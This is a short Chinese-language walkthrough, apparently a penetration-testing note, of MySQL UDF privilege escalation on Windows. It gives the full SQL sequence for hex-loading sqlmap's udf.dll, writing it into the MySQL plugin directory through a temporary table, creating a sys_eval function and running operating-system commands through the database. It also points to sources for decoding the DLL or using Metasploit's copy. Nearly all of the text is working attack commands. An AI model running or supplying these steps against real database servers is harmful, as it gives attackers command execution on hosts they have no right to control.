udf.dll来自于sqlmap\data\udf\mysql\windows\32
中(32位)
先将udf.dll转换为16进制写到a.txt中:
select hex(load_file('D:\\udf.dll')) into dumpfile 'D:\\a.txt';
创建一个tmp表并写入a.txt中的解码后的内容:
create table tmp (c blob);
insert into tmp values(unhex('udf.dll 16进制code'))
将表中的内容导出在mysql的插件目录中并删除tmp表:
select c from tmp into dumpfile 'D:\\wamp\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\udf.dll';
drop table tmp;
关于插件目录的问题参考文档:https://paper.404sec.com/7815.html
创建函数:
create function sys_eval returns string soname 'udf.dll';
查看有哪些函数:
select * from mysql.func;
调用函数:
select sys_eval('ipconfig');
删除函数:
drop function sys_eval;
注意,sqlmap提供的ddl文件是加密的,需要进行解密再使用,参考:https://www.cnblogs.com/sheng-xia/articles/14628574.html
或者直接使用metasploit中的ddl文件,这里面的是不需要解密的,参考https://www.sqlsec.com/2020/11/mysql.html。